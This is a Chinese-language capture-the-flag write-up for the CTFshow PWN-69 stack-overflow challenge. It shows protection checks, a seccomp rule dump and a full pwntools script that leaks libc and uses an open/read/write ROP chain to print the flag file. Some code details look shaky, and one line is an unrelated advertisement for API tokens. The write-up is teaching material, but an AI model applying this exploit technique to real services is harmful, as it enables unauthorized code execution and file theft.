1. 挑战背景与核心目标
CTFshow-PWN-69是一道典型的栈溢出挑战题,考察选手在Linux环境下绕过安全机制实现任意代码执行的能力。题目运行在x86-64架构,启用了NX(No-eXecute)防护和seccomp沙箱限制,这意味着传统的shellcode注入方式将完全失效。
这道题的特殊性在于其精心设计的seccomp规则集。通过逆向分析可以发现,系统调用白名单仅允许open/read/write/exit四个关键操作,完全封禁了execve等危险调用。这种配置常见于需要严格隔离的在线判题系统或沙箱环境,要求攻击者必须采用非传统手段完成攻击链构建。
需要模型API调用? 免费领10W Token,多模型网关一键接入 Claude、DeepSeek 等主流模型。
2. 环境分析与漏洞定位
2.1 二进制文件初步检查
使用checksec工具扫描目标二进制文件,可以看到以下关键防护状态:
code复制Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
没有栈保护(Canary)和地址随机化(PIE)的特性,配合存在的栈溢出漏洞,为ROP链构造提供了理想条件。但NX防护迫使我们必须转向代码复用攻击。
2.2 逆向工程关键发现
通过Ghidra反编译可以看到危险函数:
c复制void vulnerable_function() {
char buffer[64];
read(0, buffer, 256); // 明显的栈溢出漏洞
}
输入缓冲区仅64字节,但允许读取256字节数据,造成经典的栈溢出。通过计算偏移量,可以精确覆盖返回地址:
code复制| buffer[64] | RBP(8) | RIP(8) |
需要72字节垃圾数据+目标地址即可劫持控制流。
3. 攻击策略设计与难点突破
3.1 seccomp规则逆向分析
使用seccomp-tools dump命令获取沙箱规则:
code复制 line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004
0001: 0x15 0x00 0x01 0xc000003e
0002: 0x20 0x00 0x00 0x00000000
0003: 0x35 0x00 0x01 0x40000000
0004: 0x15 0x00 0x05 0x00000000
0005: 0x15 0x04 0x00 0x00000001
0006: 0x15 0x03 0x00 0x00000000
0007: 0x15 0x02 0x00 0x00000002
0008: 0x15 0x01 0x00 0x0000003c
0009: 0x06 0x00 0x00 0x00000000
0010: 0x06 0x00 0x00 0x7fff0000
解读规则可知允许的系统调用:
- read(0)
- write(1)
- open(2)
- exit(60)
3.2 ROP链构造方法论
在受限环境下,我们需要分阶段实现攻击:
- 信息泄露:通过write泄露libc地址
- 文件操作:用open/read/write读取flag文件
- 数据回传:将flag内容输出到标准输出
关键ROP gadget需求:
- pop rdi ; ret (参数传递)
- pop rsi ; pop r15 ; ret (参数传递)
- 可写内存区域地址(用于存储文件名)
4. 完整攻击流程实现
4.1 第一阶段:泄露libc地址
python复制# 构造泄露puts@got的ROP链
rop = ROP(exe)
rop.call('puts', [exe.got['puts']])
rop.call('main') # 重新返回main函数进行二次攻击
payload = flat({
72: rop.chain()
})
接收泄露的地址后计算libc基址:
python复制puts_leak = u64(p.recvline().strip().ljust(8, b'\x00'))
libc.address = puts_leak - libc.sym['puts']
4.2 第二阶段:文件读取攻击
python复制# 构造flag读取ROP链
flag_name = b"flag\x00" # 注意字符串终止符
rop = ROP([exe, libc])
rop.call('read', [0, next(exe.search(b'flag\x00')), 5]) # 写入文件名
rop.call('open', [next(exe.search(b'flag\x00')), 0])
rop.call('read', [3, next(exe.search(b'flag\x00')), 100])
rop.call('write', [1, next(exe.search(b'flag\x00')), 100])
关键点说明:
- 先将"flag"字符串写入可写内存区域
- 使用open系统调用打开文件(文件描述符3)
- 通过read将文件内容读入内存
- 用write输出到标准输出
5. 实战中的疑难问题解决
5.1 内存对齐问题处理
在64位系统中,某些系统调用需要栈对齐到16字节边界。当ROP链执行到系统调用时,如果出现SIGSEGV错误,可能需要插入ret指令进行对齐调整:
python复制rop.raw(rop.find_gadget(['ret'])[0]) # 栈对齐
rop.call('open', [...])
5.2 文件描述符预测
在多次文件操作时,需要注意文件描述符的分配规律。通常open返回的fd会递增,但更可靠的做法是:
python复制# 显式关闭不需要的fd
rop.call('close', [3])
6. 完整攻击脚本示例
python复制from pwn import *
context.arch = 'amd64'
context.log_level = 'debug'
exe = './pwn69'
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
def start():
if args.REMOTE:
return remote('target', 9999)
else:
return process(exe)
# 第一阶段:泄露libc地址
p = start()
rop = ROP(exe)
rop.call('puts', [exe.got['puts']])
rop.call('main')
payload = flat({
72: rop.chain()
})
p.sendlineafter(b'>', payload)
puts_leak = u64(p.recvline().strip().ljust(8, b'\x00'))
libc.address = puts_leak - libc.sym['puts']
# 第二阶段:读取flag
p.clean()
rop = ROP([exe, libc])
flag_addr = next(exe.search(b'flag\x00'))
rop.call('read', [0, flag_addr, 5])
rop.call('open', [flag_addr, 0])
rop.call('read', [3, flag_addr, 100])
rop.call('write', [1, flag_addr, 100])
payload = flat({
72: rop.chain()
})
p.sendline(payload)
p.send(b'flag\x00') # 发送文件名
print(p.recvall())
7. 防御方案与学习建议
针对此类挑战的防护策略:
- 编译器防护:启用栈保护(-fstack-protector)
- 系统级防护:完全启用ASLR(PIE)
- 编码规范:严格限制输入长度
- 沙箱强化:限制危险系统调用
对于PWN学习者的进阶建议:
- 掌握Linux系统调用表(syscall table)
- 熟练使用ROPgadget等工具
- 理解内存布局和ELF结构
- 定期参加CTF比赛积累经验
